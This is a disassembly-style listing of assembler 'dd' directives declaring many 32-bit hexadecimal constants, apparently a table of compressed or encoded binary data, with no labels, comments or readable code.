dd 7E07DDC4h, 0B907DD10h, 110AB502h, 23661005h, 17C28BDh
dd 28B528CEh, 0DC5E9C64h, 8248677Dh, 300D110Ch, 0FC5CF622h
dd 0E1B53BFEh, 0F52585A5h, 0A113AF39h, 1DBAD11Eh, 4FB900F7h
dd 8AF0C72h, 0E8693AE9h, 0FBD663A0h, 0B4044100h, 7FECF0D5h
dd 2098B88Fh, 5F620A65h, 0BF32D64h, 0B70B14ECh, 842940D2h
dd 45132118h, 26701396h, 0F8192A41h, 0D14C346Ah, 105E7028h
dd 484F12D4h, 6DA82D27h, 2318074Eh, 2E8C66FBh, 20F1F6DBh
dd 190267C4h, 0E0D564C6h, 68485651h, 9C627678h, 9031F95Eh
dd 993AC394h, 46A0B31h, 1D10DB04h, 0EE8164DBh, 89045B8h
dd 6804472Dh, 0EC18AC9Bh, 0F0602479h, 4F071EA4h, 2F266168h
dd 0A19D1EB8h, 8C5A1FCFh, 2823C07Dh, 8518C256h, 759875C0h
dd 980A6841h, 2ADB8764h, 0A9D021D3h, 0A4684C60h, 0AD80E4E7h
dd 21F12420h, 5B123F88h, 952C8204h, 151554AEh, 8903C785h
dd 0C43D8E6h, 260F026Ch, 0B930587Dh, 0FFEE26C9h, 53430283h
dd 8CB51334h, 6D0A4C89h, 9768450Fh, 492A584h, 9A390D2Dh
dd 0B00C0267h, 0A632752Eh, 0A1C0DA66h, 0C234E35h, 344DBD2Ch
dd 66C3AF28h, 9297CA8Bh, 59810779h, 0FCAB2986h, 25F9BD09h
dd 21A97C3Ah, 0D632A415h, 90AFEE4h, 6E35FF64h, 0CFB9660Fh
dd 25896518h, 0CE8B0B04h, 85619CC3h, 883B7CCCh, 0D5258D89h
dd 9D9BA221h, 4BA50933h, 59134428h, 0BD800116h, 0CB69FBA9h
dd 61630251h, 0F50D0130h, 0FD27DE9h, 0A0EDE182h, 3361FC9Ch
dd 0C47CA5DBh, 99786017h, 0A80ECD5h, 0C0333ECDh, 40FE00BCh
dd 0B073F0Fh, 58F6414h, 0C483187Fh, 4CEAC14Ch, 0D1403D72h
dd 0F31965F9h, 84F781FBh, 0E680102Ah, 15E912DBh, 0B27FE301h
dd 0CEA2301Ah, 0F0943501h, 67E92A15h, 0F8CE202Eh, 24064C8Bh
dd 0A481C70Ch, 3FF671Bh, 15B8A683h, 0C3E00462h, 0C89858Bh
dd 6C01F484h, 0A8ED815Dh, 518B2F24h, 3B411B83h, 89022A7Bh
dd 4F5D0CA6h, 8147605Dh, 26599589h, 0D99D0300h, 610C0864h
dd 100024A2h, 12F24723h, 0DA068105h, 0A3F1122h, 299E206Ah
dd 465E2E9Ch, 66EA001Ch, 1AD31195h, 0B0C7E439h, 2A9208Fh
dd 12695048h, 7475DD64h, 0C34EC8h, 0AC6A75FDh, 5A930976h
dd 3C45900Fh, 0F32562E6h, 0A0864E1Bh, 8127D144h, 0A262B9h
dd 55D704B8h, 2640548h, 0BB0DF781h, 0E040D465h, 0B62540BAh
dd 0E801C034h, 0ED0CCE5Fh, 5868FBE0h, 7526564Dh, 2508870Ah
dd 53011117h, 0FFAC9F46h, 0E3912016h, 367117E9h, 4FD98DF0h
dd 10606A0Dh, 0D584043Dh, 0A213210Fh, 0E120900Bh, 23189EB4h
dd 0C4025F6h, 653795F5h, 17948201h, 0DC20AB3Fh, 0E9C2C5F9h
dd 89995B47h, 392E3180h, 5BE130E6h, 78458001h, 3706563h
dd 6E6F6974h, 669B4920h, 616D72B0h, 50800CA3h, 73F2656Ch
dd 20202CE6h, 0EB747963h, 6857C7CFh, 8F738FDFh, 0AC778F66h
dd 0F8641272h, 0FA6CFC76h, 73EDF370h, 0D16977ECh, 76661D34h
dd 1CC6266Ch, 0C767676Eh, 752E7340h, 0D733C754h, 0D779D76Bh
dd 0D0AB375h, 1A6047Fh, 80702833h, 436E0373h, 2B4C5254h
dd 94EBFDAFh, 79466978h, 187A646Dh, 707B15D3h, 6C1E0879h
dd 0F1625F69h, 442964DAh, 56420D36h, 0FDA609DFh, 0E725FD3Dh
dd 0E8431E30h, 54496B63h, 8E640F4Eh, 54554F11h, 6F7250C3h
dd 0F1D10FDh, 0F8C3BB6h, 0B60DF382h, 420F0E3Dh, 5054DE1Eh
dd 1E18688Eh, 0BD05D8EAh, 9B8C1F91h, 2001412Dh, 9C48CB7Dh
dd 0E50328Fh, 78EA1235h, 0DB95CCC0h, 1321F2F9h, 1942AB2Bh
dd 13078B1Dh, 4916284Ah, 773CB024h, 115C84CBh, 88254284h
dd 1A5B7121h, 0A8712DC8h, 7135C81Ah, 31C81AC6h, 0C81AAF71h
dd 1AB77125h, 0BE7129C8h, 840C910Ah, 0E9050791h, 0BD1288A2h
dd 3A325D24h, 0D449565h, 8521339Dh, 69831511h, 814B0B25h
dd 0B32BF8C2h, 8D2F7CE4h, 52251095h, 4028C134h, 703BD4C3h
dd 75DBA102h, 4022B566h
dd 9D8B2255h, 4CC313A2h, 65A63AF0h, 5042118Ch, 54E42121h
dd 421E2D22h, 0E4312158h, 2A25225Ch, 0DEA53DCh, 6845AFB4h
dd 5A26CD05h, 2129430Ch, 0C8319025h, 3221642Dh, 120A2A1Dh
dd 4F1C6217h, 22DD0790h, 643A841h, 130F5835h, 406A240Ch
dd 19A53924h, 0C2B8BBA5h, 82475901h, 18EBC18Bh, 0E9429BCDh
dd 4AF6580Bh, 653C1C60h, 2EE33B38h, 64C26180h, 0A0E63404h
dd 14C8605Fh, 0ABF61008h, 24614F46h, 83F8E9C3h, 1BB58B21h
dd 818E1C2Fh, 18F01BE6h, 0E833C664h, 8113B5B9h, 3B19D0C6h
dd 39C31FB5h, 76E9860Fh, 0D8203C51h, 0CFB022B9h, 8C66506Fh
dd 324C804h, 1B84C00Ah, 0DDAD2A1Fh, 858B2090h, 86024D91h
dd 42DB0A18h, 0E670B3Fh, 48C3DA2h, 8ACFC624h, 50195877h
dd 0FFF5E108h, 10FB107h, 70FEF14Ch, 1C25C0DEh, 6606A353h
dd 15FCDB89h, 535B0209h, 0E84C09CAh, 43513882h, 89BBE008h
dd 0CBEF8353h, 1A03E380h, 4B3884C3h, 0C79A7617h, 0D95D320h
dd 0D1E6448Bh, 89C54898h, 18E306ABh, 0A5E924C7h, 1230CCDh
dd 0A25BBDCAh, 6042A364h, 0EA493E80h, 0A1BB1031h, 763A07B7h
dd 29B101B0h, 0AC001D79h, 0C302C88Ah, 9D1E432h, 0D20BAACBh
dd 4A8611F9h, 45D6C90Ah, 0C423A8E5h, 71011D4h, 57D48B52h
dd 33087A30h, 21E950C0h, 3F8038AAh, 5F158D56h, 530DBC5Ah
dd 0C8325651h, 1051E9DBh, 0D1D8E84Eh, 0C381D301h, 37465ABCh
dd 32FAB0BCh, 0E8970B49h, 5EC38B20h, 535B7459h, 234A7B60h
dd 0EA2BAC96h, 0C044772Ah, 0DFE4E708h, 0D80F0335h, 3C2904A8h
dd 0C093D429h, 7E890B12h, 348F6058h, 8221C485h, 687BC64h
dd 8983C8BDh, 5F23E938h, 8B1F313Fh, 1705F840h, 9B46F30Ah
dd 14482189h, 46FA3C67h, 8FD91EB2h, 0AE219230h, 69A287E9h
dd 487690DFh, 7A004D72h, 0CAB2B80Ch, 9397A945h, 300681CBh
dd 2C8D1C8h, 0FF73B46h, 8D92F182h, 2F08EA05h, 284C6528h
dd 5609282Eh, 13085351h, 0C4A092Ch, 2D3C6730h, 100AC9A1h
dd 2349804h, 0C1D83213h, 1C4208C3h, 1C8167BAh, 445E595Bh
dd 4C980437h, 5E352231h, 742ABEA4h, 2D75210Ch, 0F1C49C10h
dd 0E860040Eh, 0E4BE6789h, 4C20BE01h, 0D8D4F249h, 1900E3ADh
dd 66980FACh, 4B94D981h, 0AC1BC44Fh, 64F61626h, 61D3FE04h
dd 0EE287E3h, 5826F31Ah, 0C985040Eh, 0E073F5D3h, 0A42F9A8h
dd 8A0FD048h, 0C580011Fh, 0B244B1A9h, 64E9CAF4h, 893618E0h
dd 6A0C56ADh, 0C29A5D54h, 1421552Dh, 231B45EDh, 596800A3h
dd 9F32B04Ch, 0BA661FB9h, 4AC2D290h, 81C152D5h, 8C5E9261h
dd 0EDB9E1DFh, 0C7F7F029h, 3460044Dh, 61AD31AAh, 774A2FB8h
dd 4585BFDCh, 0FA72830Eh, 6177E9D1h, 92D29467h, 53BF3A13h
dd 8032DB83h, 1455F37Fh, 47741C06h, 0A260D70Dh, 0A7D90009h
dd 89D4C335h, 61D528E3h, 342B2EF6h, 0BE6683BBh, 1CF91938h
dd 299E4124h, 0C84869CFh, 0E44E8005h, 52F00750h, 1604EFA1h
dd 0B9031638h, 3E48845Ah, 1A2369h, 0FE3A0AE4h, 5D041912h
dd 0D178D3BEh, 0F13BB87h, 5DC6B5BFh, 0C48B0202h, 0EB01CDF5h
dd 1CDD3240h, 0A28D524Eh, 5A47A6A0h, 4C58665Eh, 33BED05Bh
dd 1D3FA774h, 0C8B79361h, 7120E105h, 0E99BEA16h, 0CAFA3881h
dd 0B8A9126h, 8B000248h, 93C981C2h, 32160675h, 2E20B861h
dd 0E0B2E7FFh, 5B88BA57h, 0F813010h, 11040B6h, 0B022C8FEh
dd 21251EBh, 53886C5Fh, 3016A2E4h, 8F657835h, 2EDD0A6h
dd 0E83107B8h, 61CF427Ah, 0ABF06E26h, 0D3020E9Eh, 0F896D8C9h
dd 0DE1D62A8h, 9D03DCD2h, 487FCF43h, 0B8D3A0C7h, 0DABD9BE4h
dd 0E5944D3h, 0E02D20Bh, 0FEE81DC1h, 60752408h, 0CB82BFEh
dd 1840DE03h, 91530F0Dh, 6F2C1088h, 0DD9F0B98h, 21F8C00h
dd 0AA5AED17h, 0C86569D3h, 1911701Dh, 5E802380h, 948E2DEh
dd 9FBE0B5Fh, 0D1EA093Eh, 59F18937h, 0A8C2CB05h, 0C0888E7Ah
dd 0D531D0B5h, 6C1FC2Bh, 6DB26059h, 2524E861h, 9A68A5Ah
dd 6692C60h, 79207B7h, 0F0A9F1A2h, 3B6FF4B9h, 71C8705Eh
dd 29D1006Eh, 4D6B3A19h, 0B985EE9h, 0B87A96h, 1EA6F081h
dd 2F5A4628h, 7764870Fh, 0D3A3CE00h, 1C8B4874h, 0DEBBA011h
dd 0A997E7Ah, 0A455CDEBh, 0E7BF07C6h, 54F3E0A1h, 437A3FD4h
dd 0AA29B81Eh, 0E451C380h, 308B0158h, 271A53F7h, 4048FDAh
dd 4DE1BF11h, 8D0F7C81h, 81C7202Eh, 5E7421D8h, 0EF9FEA06h
dd 0BAA4DD2h, 55B0F790h, 29B7E05h, 0A684FA0Ch, 8575DF58h
dd 9B806EB9h, 0C8163D46h, 5404A025h, 7611C092h, 623C5522h
dd 0E20023F4h, 0B1E9F219h, 0F0E51Fh, 0CB359F14h, 4BDB1B09h
dd 3B9CB203h, 78A63CC6h, 0EA20040h, 391272C9h, 0D0607CD3h
dd 0E957BA28h, 9F150247h, 0A5B954C8h, 1E1A3880h, 8130303Eh
dd 27112038h, 0C7EAF8h, 4223D625h, 0B8E6FB22h, 8AB3AB00h
dd 98F00FB2h, 0B7C7002Ah, 36687ED0h, 0DD00FD23h, 5EAE4386h
dd 50EA4EEh, 3B9ACAC7h, 0D7440D5Bh, 2D21D851h, 6031E260h
dd 60AD2FAFh, 0BB39803Dh, 0D01FCB1Bh, 690CB44Bh, 0F4C71852h
dd 0F7A140A3h, 3B9D1F10h, 0E4A62300h, 3D22015Ch, 0EFC95014h
dd 0D2F98694h, 0E53E1E30h, 0B38B0C39h, 1F0DB010h, 7011F4C3h
dd 2A5DAF3h, 0CC92B552h, 99060437h, 3B10381Fh, 18E14726h
dd 40802CD5h, 0C33FD94h, 10164005h, 800983F4h, 0C5ED8026h
dd 64F3D425h, 2117298Ah, 0D71281E4h, 0F5101927h, 53E696h
dd 7B3774CCh, 0B789B95Ah, 0D9922A0Fh, 0F85CDAh, 83B15D18h
dd 3457201h, 7C3EF3D0h, 0CAB0A21Dh, 0D8E396F0h, 0B500E6F2h
dd 3E490720h, 743D87h, 6371D0B8h, 7F8DFD9Fh, 26413C05h
dd 0BBC1A9D3h, 0F18183DAh, 0E0F0A3D4h, 5028808Dh, 402D38E5h
dd 657D0027h, 79162C47h, 0BC01493Fh, 45ED044h, 3D6CF3EBh
dd 78B63018h, 3674F57Fh, 0FAA92900h, 2A17E979h, 0F6ACA89Fh
dd 51266E3Eh, 2003FFEh, 4E8A92Bh, 3B010D9Bh, 0CCC758BDh
dd 87078472h, 16A19EB7h, 0FC48B629h, 1E3004F4h, 39FCD12Fh
dd 9B77E6h, 734941D7h, 0D227962Eh, 5C0003E6h, 80FDCDDFh
dd 245089h, 15C9C136h, 0F5201976h, 35AC7F07h, 3210CC3Ah
dd 5CB47906h, 0DE006482h, 126C2921h, 0A301C06Fh, 871E4854h
dd 95FC5A42h, 0D6A53E7Fh, 3F62D09Dh, 0CC08017Dh, 0DBC84FBAh
dd 5A8ED4D8h, 0ACD03C00h, 78ECC9B1h, 21AE60BBh, 90A8D592h
dd 3FA15600h, 0D9E093BAh, 4F750031h, 3AC347CCh, 6405EE80h
dd 3CF852E6h, 34AA000h, 0B57D74h, 9BF58784h, 527FD06Ch
dd 80503A3Dh, 40B1B93Fh, 6347EFh, 8876FF5Bh, 0BB49E9F3h
dd 5F1E310Ah, 0D601C49Bh, 0AAE33954h, 0FC9774h, 45F6963Dh
dd 95CD6672h, 247BA000h, 6EA15BCCh, 0AE44003Fh, 82319401h
dd 0E500E24Fh, 0CAB45F14h, 28266DDAh, 78D8B7ACh, 5DD20905h
dd 2C00B244h, 2CF7C714h, 87B2B00h, 1ED76DE6h, 1FED00B8h
dd 0F8ABE175h, 0B600AF0Ah, 7C1624Dh, 3F648CDCh, 0F400D647h
dd 9CA9D76Ch, 750020DEh, 2E05F7F6h, 305D4E09h, 3420F53Ah
dd 0D8EC8378h, 0B5284160h, 0EACFB10Ch, 4890044h, 8D66C721h
dd 78003D56h, 0D5B65E8Eh, 0C068F7h, 0F3D1D29Fh, 3B7B50E4h
dd 5B5C9201h, 1F7020C7h, 0F3A18C20h, 0B042D0h, 7F2E8EA8h
dd 11DC654Eh, 0E1809350h, 83FF2D00h, 0BC799592h, 0FC4E617h
dd 1954EBEEh, 0EAA2F940h, 6A90CA49h, 0BDE0BC00h, 0FFFE9B2Ch
dd 0C7171F98h, 0D4CFC02h
dd 31594A07h, 1F72066h, 3E602A3Dh, 0A25F4BF8h, 585500FBh
dd 50273610h, 0D1060B92h, 7B4FBC56h, 0B22D0050h, 39DF8084h
dd 3E00BA50h, 0DD210C75h, 7656D46h, 52872DD5h, 9CE47606h
dd 0C9C57118h, 0EEFDFB31h, 578C00C2h, 0F225329Fh, 153DE21Ah
dd 4DDB8078h, 0D61B0780h, 5D110761h, 20FCB254h, 46BA66A8h
dd 0BB80C00h, 0B77378EDh, 0CFAB079Bh, 0DFD42A06h, 0A034CD60h
dd 5A39F329h, 0E98583DBh, 0F84705C2h, 309FFF44h, 29326D91h
dd 12006561h, 0B77DBDF6h, 0E38C22h, 4AEE2D2h, 0ECEB71FCh
dd 0AD3FD18h, 3994318h, 0A2F8501Ah, 67F7B160h, 0B0C4F0CDh
dd 2A00A57Ah, 28F1C361h, 1FC03C58h, 80F34A70h, 9D90BC83h
dd 6C00B788h, 70BD8AEh, 0F82AD447h, 6B4A008Ah, 4494C8DFh
dd 5800634Dh, 0FA9FAD1Dh, 0DDB268h, 0E1AEC1AFh, 0F0E0DB0Eh
dd 0C3EE2303h, 501F82C8h, 7936EF29h, 7049074Ah, 1072B96Ch
dd 9AEC6DEFh, 0D6C09400h, 0E08DD8DDh, 0B8CD0009h, 0C7D9A30Ch
dd 0AC035DF9h, 9A4A4C57h, 0D7F0A008h, 0D1E300F2h, 52023969h
dd 0EB002945h, 97D2B7Ch, 13946B2Dh, 0B9D558h, 0D645AA72h
dd 56008F4Ch, 7AEDE1A6h, 77CC7C7Eh, 0D3600B6Eh, 782751D1h
dd 0C4773097h, 802C0DFDh, 888208AFh, 420BDE6Bh, 0E00E8FD4h
dd 1846E553h, 7389854h, 0A081722h, 52F04071h, 1100DD77h
dd 0AD736151h, 77222DEh, 0B6437FB9h, 644500C0h, 0B0B237F7h
dd 700B3F2h, 98866A41h, 7941A8Dh, 0E050A373h, 6D005E82h
dd 34D00B4Dh, 354FD400h, 0E923566Ah, 7337E1Eh, 0C14548A0h
dd 519B27CFh, 824F1D70h, 7A265798h, 258BCFFh, 511242F7h
dd 64C0A8E1h, 0E8E16865h, 5600E648h, 9EDF6E95h, 1E0C43h
dd 363AD826h, 0D69C910Bh, 80A34115h, 6BF10094h, 0F9C0724Dh
dd 4F1E399Eh, 0E300BC49h, 7E31BAC4h, 0E207B40Fh, 27AC8984h
dd 3BDED430h, 4A800E5h, 39FAB309h, 0F504029Ah, 2B6E90AAh
dd 68CFE880h, 21A72A07h, 25B0D4h, 2BF6C7E2h, 83B56322h
dd 465B0A05h, 0CD0FB7Dh, 0E42754h, 7A3DC6C9h, 2D3BA923h
dd 0D4981A17h, 774A900h, 262E5D0h, 0F9B411CAh, 74E86131h
dd 17ABA25h, 81A0CC3Ah, 7E98EA3Bh, 808F2013h, 6B0EDA39h
dd 0D9BB8181h, 318051B4h, 0B6204029h, 0F91D54B0h, 1500A0B3h
dd 14B93AD5h, 0B423053Bh, 0D8BC41h, 3FDA701Ch, 4A7E94D7h
dd 0FA30DC98h, 0F89E38B1h, 149298h, 6A30396Ch, 60418495h
dd 0EB65B007h, 9E505BADh, 0A59CCBh, 2AC0A03Bh, 29BA8825h
dd 23209F54h, 1D6738C3h, 81F6E28Eh, 49EE950Ch, 5CCAC53h
dd 23272C38h, 0CACCC05Ch, 0D800EB4Ch, 8AB39F11h, 6099DCB1h
dd 0B205310Fh, 410F5488h, 238C903Ah, 0E850B8C0h, 59F21BE6h
dd 0AB00D815h, 54AE66B1h, 333EE406h, 34A71F17h, 0C2D849F0h
dd 0D4B714A0h, 28CC027h, 0A2097A48h, 8029083Bh, 2444E85Dh
dd 0A0EA034Ch, 3D45F275h, 73E56803h, 0C952DA7h, 5327C750h
dd 20F2508h, 8047C5D7h, 0E926C803h, 5460C29Fh, 8081ADDEh
dd 87E3457Eh, 7C4499E0h, 0C9A6C750h, 4BDB00D6h, 2271A954h
dd 62327D3Dh, 134829E4h, 101522D4h, 1C89DE8Eh, 7227DA10h
dd 0F4AAF612h, 4ABB7B00h, 3F8A1752h, 1A00020Eh, 2130B869h
dd 330038CFh, 0FFEDC494h, 39A1017h, 0CBAAE611h, 75D8F862h
dd 7D009935h, 375BB3ABh, 5820DFh, 0FBC0CFE3h, 732E2FA0h
dd 31AF3C02h, 60EF7E0Dh, 4C117F5Ch, 0FA066C9Eh, 1936206Dh
dd 0EE6B3F0Ah, 0F70C081Dh, 4A5229DBh, 4650004Ch, 576DE5DCh
dd 41F5ED00h, 54D4DF96h, 0CE7A006Fh, 49D8B64Ch, 46077D16h
dd 9A5F0E8Fh, 0B72AD20h, 0B10319CBh, 0FC63C0EDh, 0B400180Ch
dd 0AD589EC4h, 0EB5157Eh, 0E0806D67h, 0B792B320h, 241FE1D0h
dd 9EC0700Ch, 0A3EF8C3Eh, 307AB6h, 5D4CD250h, 0BEB280BDh
dd 0A4AD9C24h, 748F1C80h, 7EA4F24h, 88FE7184h, 4CAB0146h
dd 515BECD7h, 6C5EA900h, 0B26B2F68h, 37EB3C36h, 8A0FC281h
dd 0C8A05C94h, 0C6046544h, 51C1BD69h, 0BBA398C0h, 2C16010Eh
dd 6F66B53Bh, 9D8C407Ch, 2A05600Ch, 0EEE5913Dh, 1B0FA000h
dd 7652C65Eh, 23623E3Ah, 99000F2h, 0E32FFD13h, 0E875E4ECh
dd 94A75A00h, 34CEDFD2h, 0AF0900E1h, 8EAB5D7Bh, 849039C8h
dd 713DD61Eh, 0CA6ACD81h, 0C440BBE2h, 18F9B1D7h, 11B9E36Fh
dd 3A002DA8h, 51D88748h, 727CEAh, 0E1EE4065h, 436EA3F2h
dd 24F289FEh, 0F09F3C28h, 4FF07A00h, 0B2A5250Ch, 611D02F2h
dd 9F6A4B6Fh, 4CE0FCE2h, 0E730BD6Dh, 0EEA669B8h, 0BC8118EFh
dd 0DECB21A9h, 46F79506h, 50CA666Eh, 2C96A040h, 1B4769Fh
dd 877D23B8h, 4B2C2405h, 6C83380Eh, 9484C0EFh, 7925D1DFh
dd 41EE0771h, 80933E53h, 3C023807h, 4F0C7200h, 0E5807730h
dd 8C3A5040h, 39F4C9h, 0EFAC630Eh, 9B723421h, 0C7422F1Fh
dd 9212BF80h, 76F86880h, 3C2B0326h, 0DFB7C5ADh, 0B58971C8h
dd 9A1D9207h, 0D40D5C1h, 90A95641h, 365F00A8h, 138C57D8h
dd 0CA014F83h, 1B77E8D2h, 3DF47594h, 94204862h, 0FEF68200h
dd 0A24E21FAh, 0BA2E5E00h, 6AD143B6h, 8FF0084h, 40B7A3D7h
dd 54602966h, 2C3B5A39h, 9C0D00F6h, 71B5F211h, 0AD33C885h
dd 0D0C72070h, 0CFB0C626h, 0A3E06A11h, 0AFB56599h, 1B873EDCh
dd 5B8091D1h, 140BF7h, 17782607h, 7A7E6EFBh, 3803C87Dh
dd 0CB74C5C3h, 892EA8BDh, 6034596Ch, 3A089507h, 8A9C901Fh
dd 0F2007B0Ah, 8F45BED8h, 0D5AEA8h, 0C65FFBD1h, 4BD06559h
dd 0FAB8F500h, 290538D7h, 570700A5h, 905DB65Eh, 0D22C3CD8h
dd 39D426h, 2C7A38Ch, 221E28h, 5E31EAAFh, 19A0AA4Ah, 0D0BA3E00h
dd 7A3653DFh, 7FB60055h, 2A859ED5h, 3496B73Ah, 0DE6C4704h
dd 0BF773091h, 0C576E4h, 657445EFh, 7A526342h, 0DE004C7Bh
dd 78A9D9B3h, 0F030507h, 423CBB98h, 648F0AE2h, 93613840h
dd 9CE65B01h, 0A8DCF692h, 9D9AAC40h, 0E11D00D7h, 8C09C1AFh
dd 30C3630Dh, 0E78628E2h, 0C829D943h, 546EFEh, 1C07A91Bh
dd 3003ACD5h, 0C8645101h, 9BC02A57h, 7055C084h, 2D971E25h
dd 74A05700h, 4CC7F9E5h, 0E000C5Bh, 0C3BE4B55h, 35339A9Fh
dd 0A04DF10Ch, 241772h, 33C0C2E5h, 0FDB7102Bh, 6760B600h
dd 51340A8Dh, 0ADA0077Eh, 0ACD306h, 4D119F33h, 9E71617Ah
dd 357E9701h, 0FA240EC8h, 54F3C850h, 0EBF4095Ah, 0FC204158h
dd 834F804Bh, 0BC73D678h, 4000CA73h, 13AFC03Fh, 1AB45h
dd 747062D1h, 11BE7191h, 0F1C1E200h, 819CDFD5h, 65AA00CDh
dd 2CE3D76Eh, 5748DD69h, 58007B18h, 0A6BC4E49h, 521B9Ch
dd 1E0D7025h, 59C9C3DAh, 6E21C414h, 0E6D300C0h, 0B0A45E11h
dd 6674309Ah, 0DB01B950h, 6D0060EEh, 0FC7AA7ADh, 0FA181Ah
dd 0B5F3DF2Dh, 9D314764h, 81FFB03Dh, 0C7FCCC06h, 28E8244Ch
dd 0E7BC1EBFh, 85088FA4h, 0C2B40072h, 8AA8F039h, 3C66BB00h
dd 1504C950h, 0B45A005Eh, 96586D01h, 0FD00FB88h, 3AE5D894h
dd 9FA302h, 0F8C89CE4h, 0DCAFBFB3h, 0D5A12807h, 0AC0AA90h
dd 3BDBE80Bh, 1280D972h, 68B05C5Ah, 0D8986D42h, 80852500h
dd 891C8A18h, 60C10BD2h, 480066A3h, 71E4C301h, 947B7200h
dd 399CA9A7h, 0FC96E697h, 1DD824E3h, 0A369000Ch, 40780B85h
dd 47B4D700h, 0D9A2AC77h, 92FC0FCAh, 4C4056A9h, 2B1CC5Ah
dd 0FD1CCF70h, 50CFA336h, 0A2CA405Dh, 1F318293h, 0D07802CCh
dd 50E70025h
dd 96EE0A5Eh, 0F24006Bh, 2C70F54Ah, 0E879A178h, 0D6ECE005h
dd 0CC1F42A7h, 0EDFE3D80h, 578071Ah, 38392295h, 4618806Bh
dd 0D4094574h, 0BA3D8h, 517AC2CEh, 0BBB2005Eh, 62A5E090h
dd 0E3E4414Bh, 0C727C312h, 5F7E9804h, 49CF4241h, 48EAD853h
dd 4CE4613h, 9C0990C0h, 0FA2127Eh, 0C90C80A0h, 1B126C52h
dd 68416A68h, 0FF22ADC7h, 0BB5C064h, 217BC40h, 635368A0h
dd 0A406CCB3h, 3AFDABF4h, 0DB042549h, 0E402097h, 96ADF4B4h
dd 0FFFA8950h, 90BDB048h, 1B6033Ch, 1D69F954h, 51D69F93h
dd 4A9B08C0h, 0C707A044h, 41224788h, 29F21C5Ah, 529E0CD0h
dd 71F3999h, 23E14164h, 4D6C415Ch, 9F11DCFBh, 0E4042105h
dd 2C019C1Bh, 31BA98C6h, 0C19A99E0h, 57217141h, 3C885034h
dd 9F001EFDh, 0EF1DBA38h, 7337BC9Bh, 8C3501Fh, 392C9629h
dd 1D66C3C2h, 19F5E28Fh, 88800CEFh, 9380D1CFh, 993B0F22h
dd 19A0F6C6h, 5E9D58A5h, 71520400h, 0ED9B3668h, 3EB13C8h
dd 31944013h, 27868CFFh, 0A2C77207h, 0EF27B64Bh, 0D70E58B0h
dd 2FDA0105h, 51414EC8h, 6B7AD4B1h, 8022D93Bh, 154BF4Fh
dd 0E6711561h, 7855006Eh, 6AAB4D8Ch, 30C010B9h, 9C622744h
dd 9EC1DF3h, 0A89D0369h, 0E1D880C1h, 3D001565h, 902B5BE5h
dd 38F67E3h, 6D05CA97h, 0FE00AB1Dh, 29C7ADBh, 0EB408h
dd 81EB972Ah, 56E37D71h, 3F580F00h, 0E89F5B64h, 0A12C0055h
dd 118DFC80h, 4500A9B1h, 2C179D6h, 23C40Ch, 0C801A11Ah
dd 66F7A262h, 0D90058ECh, 6F3C647Dh, 5DAF274h, 0EE6D809h
dd 0E2E8E215h, 0FA08FB9Ah, 18F60417h, 1045BFFDh, 775F7E10h
dd 0D45B8404h, 6EE2CB1Ch, 0D79F98E0h, 44D03F40h, 0D362EF75h
dd 22708E29h, 0DB22D6F3h, 4032573h, 4A7ACB28h, 380814D7h
dd 84179072h, 0EB487BE1h, 946D484Eh, 86113CABh, 502F2878h
dd 426C0D22h, 246008BFh, 14D03E69h, 0D36544F9h, 2A032284h
dd 0D9082742h, 670841E0h, 2C5688CDh, 28507B94h, 8F51445h
dd 7F12E782h, 89DDE110h, 4458088Fh, 22845328h, 0A344DB12h
dd 49C60965h, 0F780BAF3h, 0A62E0C4Fh, 62560600h, 90255DB6h
dd 0DC34008Bh, 4FBDF16Bh, 0FA0BBE74h, 905221A3h, 3EC4EFECh
dd 0D6BA0ABAh, 7206B01h, 2CA3AAF5h, 0C4AE80F0h, 0C8DAEEh
dd 0C2543F72h, 0E4F2DF19h, 4E6F8F00h, 0A685AE66h, 139003A7h
dd 4CE1203Bh, 0FCDAA381h, 14036648h, 0B0BBAE61h, 0F85B18Fh
dd 6B8070h, 5F1365C9h, 0AD071E2Eh, 61BBFF00h, 8F906D6Fh
dd 2E51F9Ch, 5BC880E4h, 85D36C7h, 6D071FFAh, 0FE14B70Ah
dd 0D60428F0h, 0EEA0B8CAh, 772A1CF0h, 5D5C80A2h, 8DBF2E9Ch
dd 83494B98h, 91952D74h, 4460773Ch, 73610050h, 7521DDAEh
dd 51067E30h, 537A520Dh, 77621h, 16236771h, 99E2A8C5h
dd 0B8EEEA0Fh, 461DC125h, 0FEF82BD8h, 0F78E1F45h, 3226CB44h
dd 3C52B412h, 819B5F00h, 76535510h, 0E77901F4h, 414DBDD9h
dd 0A4687062h, 0A030602Dh, 7C1768D0h, 3E10B85Eh, 0CC00D30Dh
dd 0C7817B98h, 0E737C2E0h, 88E2A07Fh, 8363E0A0h, 0F86E076Bh
dd 0A079EBA7h, 0B18AB940h, 0D7CBB200h, 22E082C6h, 12CE007Eh
dd 0B640BC51h, 0DC0E4BB0h, 56664Ch, 0A27BE578h, 0A8DA0650h
dd 0C8B19245h, 818E9E00h, 28B9721Ah, 0F5C30778h, 0A00E4DDEh
dd 575DDDEEh, 1D94CCF5h, 0BA263930h, 25EBC206h, 0ECA09A6Fh
dd 42048C96h, 72DE261Eh, 92206025h, 773E170Bh, 17F89063h
dd 0D4A5FE5Fh, 51377D07h, 3821B4D1h, 49C4B840h, 4A84774Fh
dd 6F8AE84Eh, 11C23E28h, 201C87D6h, 0EE8073D0h, 4C93D400h
dd 0D477FC1h, 2D3A3C3Fh, 8CC3D454h, 0A72B0902h, 0C074E410h
dd 0FC6E7BBh, 0D837F1E0h, 9FFB4941h, 0E4642103h, 2C005CC7h
dd 52052804h, 5BC6B6h, 0DC7D901Fh, 0C7AF4764h, 0E307AE76h
dd 3F369AC5h, 1D0CE210h, 74A67D42h, 765408CEh, 0BE00B2BCh
dd 0B70D077Bh, 5FF8F158h, 0FE730E30h, 0F30168BBh, 0E8242B38h
dd 0C40AD34Eh, 0E803FAE6h, 16C50038h, 0A75B69E8h, 7E7200ECh
dd 0FBABA17Ch, 9C0290BEh, 71FF64F9h, 7DF46139h, 9514402Bh
dd 1AE3D0B2h, 0ED0487E0h, 0BD775066h, 0B0AE18D0h, 317001Dh
dd 8F42F09Dh, 72003CC1h, 0A78ECE5Dh, 0D8656Eh, 9FE1741Eh
dd 44E3FE9Bh, 4C76A00h, 465C2F2Ah, 0A6145C7Dh, 6B278C00h
dd 8548B94h, 38F5A601h, 515DDE95h, 0A503F438h, 71BBEA66h
dd 208A26C9h, 0CC71788Ch, 93552200h, 4E3717E1h, 34824042h
dd 9B8B0602h, 400744FFh, 2A7600h, 5D855FB9h, 84468AAEh
dd 0ADD54F00h, 5A913EE9h, 0D19400EBh, 2EE081F3h, 0CEE8E744h
